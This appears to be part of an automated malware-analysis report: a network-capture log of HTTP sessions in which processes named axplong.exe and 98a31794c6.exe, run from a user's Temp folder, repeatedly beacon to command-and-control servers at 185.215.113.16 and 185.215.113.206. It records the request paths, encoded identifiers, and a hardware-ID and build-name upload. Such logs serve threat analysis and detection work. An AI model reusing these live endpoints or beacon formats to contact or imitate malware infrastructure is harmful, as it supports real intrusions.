Oct 29, 2024 05:03:06.378108025 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49996	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:06.493333101 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:03:07.388910055 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 29, 2024 05:03:07.389671087 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:03:07.669255972 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	50002	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:07.789174080 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:03:08.695883989 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 29, 2024 05:03:08.696727037 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:03:08.982944012 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	50012	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:09.315872908 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:03:10.067852974 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 29, 2024 05:03:10.068675995 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:03:10.354779005 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	50019	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:10.478720903 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:03:11.406734943 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 29, 2024 05:03:11.407727957 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:03:11.696319103 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	50020	185.215.113.206	80	5796	C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:10.725483894 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 05:03:11.633701086 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 04:03:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 05:03:11.636746883 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHJDBKJKFIECAAAKFBFB Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 44 42 4b 4a 4b 46 49 45 43 41 41 41 4b 46 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 32 39 45 34 35 32 30 45 33 30 46 38 30 37 36 35 36 36 31 35 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 42 4b 4a 4b 46 49 45 43 41 41 41 4b 46 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 42 4b 4a 4b 46 49 45 43 41 41 41 4b 46 42 46 42 2d 2d 0d 0a Data Ascii: ------FHJDBKJKFIECAAAKFBFBContent-Disposition: form-data; name="hwid"229E4520E30F807656615------FHJDBKJKFIECAAAKFBFBContent-Disposition: form-data; name="build"tale------FHJDBKJKFIECAAAKFBFB--
Oct 29, 2024 05:03:11.922602892 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 04:03:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	50021	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:11.851546049 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:03:12.762448072 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 29, 2024 05:03:12.765368938 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:03:13.049439907 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	50022	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:13.166006088 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:03:14.086299896 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	50023	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:14.094968081 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:03:15.024415016 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	50024	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:15.185020924 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:03:16.082304955 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 29, 2024 05:03:16.090331078 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:03:16.377101898 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	50025	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:16.504858017 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:03:17.411246061 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	50028	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:17.427263975 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:03:18.343575954 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	50031	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:18.464334011 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:03:19.358596087 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 29, 2024 05:03:19.368233919 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:03:19.653783083 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	50032	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:19.849201918 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:03:20.745093107 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	50034	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:20.755716085 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:03:21.677942991 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	50035	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:21.795332909 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	50036	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:21.827104092 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:03:22.721465111 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	50037	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:22.839554071 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
